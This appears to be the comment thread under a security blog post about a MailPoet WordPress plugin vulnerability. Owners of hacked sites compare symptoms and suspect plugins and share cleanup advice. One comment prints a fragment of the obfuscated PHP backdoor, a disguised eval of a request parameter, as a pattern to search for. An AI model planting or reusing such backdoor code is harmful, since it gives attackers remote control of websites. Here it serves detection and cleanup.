MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

36 comments

1. I ran into a problem this weekend as well, though I don’t have MailPoet on any of my sites. In fact, the only plugin on the site that was initially compromised was advanced code editor. It had a similar vulnerability(???) to Mailpoet, using is_admin on line 65:

   public function advanced_code_editor(){

   if( is_admin()){

   $this->tablename = ‘filemeta’;

   $this->version = ‘2.2.1’;

   //create new file admin ajax

   add_action(‘wp_ajax_create_file’, array($this,’ajax_create

   ……..

   Does anyone know if this could result in the same problem?

   1. Anyway we can get access to your server logs to investigate? How many sites do you have on your server?

      If you can send us the details to labs@sucuri.net we would love to look at it.

      1. Sent.

   2. There are MANY MANY plugins with the is_admin check in it. A quick FIND in FILES on my server shows:
      – NextGenGallery
      – Avada Theme
      – WooCommerce
      – W3totalcache
      – GoogleAnalyticsDashboard

      Anyone confirm this is the same exploit?

      1. is_admin() is not an exploit, it merely checks whether the user using the plugin has admin privileges or not.

         1. Yes, I thought so. Any word on other vulnerabilities?

2. Thank you for your hard work. I believe we were an indirect victim of this vulnerability. Our website was on a shared server and it is looking more and more like some other account on that server was infected. We are a Sucuri.net customer and our site is scanned by your system every few hours so I was pretty sure We had not been directly infected. Subsequent examination by your able staff verified that.

   Within the past few hours we have completed the move of our website to a different hosting company.

   Again, I really want to thank you for all your hard work.

3. Why does the free sitecheck scanner not recognize the mailpoet malware infection of my website?

   1. What’s your site? It was supposed to find. Please send the details to labs@sucuri.net.

      1. Sent

4. Just to let you know – my site was hacked and I do not have MailPoet. All hacked sites had the “google-analytics-dashboard-for-wp” plugin, but also SEO plugins from Yoast and w3 total cache (and some others..)… Anyone else see similarities?

   1. Same here… it was another job board plugin that I was using that was vulnerable.

5. I’m on an independently managed VPS, with 8 sites on it. All were up to date but none had mailpoet. My server was infected with a mass spamming infection, sending out thousands of spam mailings a minute. had to uninstall sendmail to stop it. I’m still cleaning out the sites.

   Happened in the same window as the Mailpoet attacks, but no admin user added anywhere i can see. Several of the sites had w3 total cache and woocommerce. Not sure if this is an overlap or just really bad luck. Haven’t seen anyone talking about mass spam mailings.

   Cleaned a ton of rogue php files out of the wp-content folder, clean install of wordpress and database check for bad content. Still a long road ahead. Just wanted to give people a heads up that there are other nasties still out there.

   1. Thanks Woocommerce was already on my checklist – did you happen to have wp-google-analytics-dashboard?

      1. What have happened with “cache”? I’m not sure what it does on websites, but I’ve just during those days, when was attack, started Vordfence cache on my sites??? Thank you…..

      2. Nope none of the sites had wp-google analytics. Only new installed plugin was w3 total cache on the one site i’ve had a confirmed MYSQL injection on.

         So far the other sites i’ve looked into haven’t had a warning when scanning the databases. Anything i should be looking for in the access logs to see where it started?

         1. Nope clueless as of yet …

      3. As is mentioned below I did have Yoast’s seo plugin on every site, but its been part of my default install for a long time. Never had any issues.

   2. My sites are ok – I’m not a MailPoet user – do you use some kind of security plugins, as Wordfence or iThemes Security?

   3. Are you running the ‘indus’ theme on any sites at all?

      1. sorry just saw this, nope not running that one. Various themes, a couple from woothemes, but not the indus theme

6. Maybe this is naive, but isn’t the answer to this kind of thing simply to chown your wordpress directories and files to a non-privileged user and to give the user that runs Apache only read access? Manual updates seems like a small price to pay.

   1. This would work, but you will need to switch though from suPHP to DSO (see: http://www.itoctopus.com/why-you-should-use-dso-for-joomla-websites ). If you’re using suPHP, then the files/folders must be owned by the web user, or else that won’t work. That’s why suPHP is not safe when you’re running a CMS. Because of the fact that web user must be the owner of the files, then file permissions of 444 will not fully protect your website, because if the web user owns a file, then it means the web user can change the permissions of that file.

7. Does WordFence work for keeping this bugger out?

   1. If you enabled your regular scans, you should be notified early when you got attacked.

      I could be wrong, but I don’t think Wordfence can really “prevent” this kind of attack. In my usage, it only prevents brute force attack and gives me useful warnings and notifications.

8. This trashed a WordPress installation of mine, which I have been cleaning up, but I have also found that a Drupal site running on the same shared hosting account has also been affected in the same way.

9. Fantastic work guys. Keep up the excellent vigilance 🙂

10. Thanks for the write up.. I am working with a client who got email warning from WordFence. She didn’t update in time. 🙁 I submitted the error to MailPoet and they confirmed that her site was infected. Sent back a 14 point list of best practice to clean the site. Working through it now.

    Just as note, the site in questions didnt have the two files/folders in the themes as desrcribed above, but rather a folder called “ejalhzli” and another called “sketchys”

    Removing and working through the check list.

    Additionally, I am doing this on a dev server (ServerPress) as first step not to make anything worse. Once done, I’ll move it back to production as a clean instance. Thats the plan in any case.

11. Wish I had seen this earlier – they got me!

12. Simply upgrading mailpoet is not going to fix this issue for most sites, or servers that have already been infected.

    You need to do a text based search, for files containing text like this:

    $sF=”PCT4BA6ODSE_”;$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[‘n642afe’];if(isset($s22)){eval($s21($s22)

    This exploits does a nasty job on the servers, and send

13. Thx for these helpful tips. That’s a really nasty infection! 15.000 of 15.020 PHP files modified, partially destroyed.. x_x
    A nice example of how important it is to isolate each site.

14. We are a non-profit, Literacy Council of Upper Pinellas, helping Adults to read and write in English. We are completely down as of today because of the the mailpoet virus. This is what my hosting companies security force suggests.
    Save the wp-config.php file, your images, and your personal files one by one (not the folder as it may contain unwanted files).

    – Wipe the entire folder where WordPress is installed.

    – Upload a new clean full package of the latest WordPress version.

    – Re-upload your wp-config.php file and images.

    – Re-upload or re-install the latest versions of your plugins and themes
    (it is recommended that you use original clean copies to ensure that
    the hacker/defacer did not leave any shell script files in your site).
    I don’t have any idea how to do the first four steps even when I get into the control panel. Can someone help me? We are heartbroken.

15. It may as well have been a vulnerability of the plugin ‘Newsletter’ by Satollo. Had this installed and got the problems as described here at Sucuri, but please also see http://www.satollo.net/forums/topic/security-issue-in-newsletter-plugin

16. How do you clean an infected site?

17. We have just been hacked via this way and we had the latest version of MailPoet. I think there are still problems that have not been fixed.

18. nice

Comments are closed.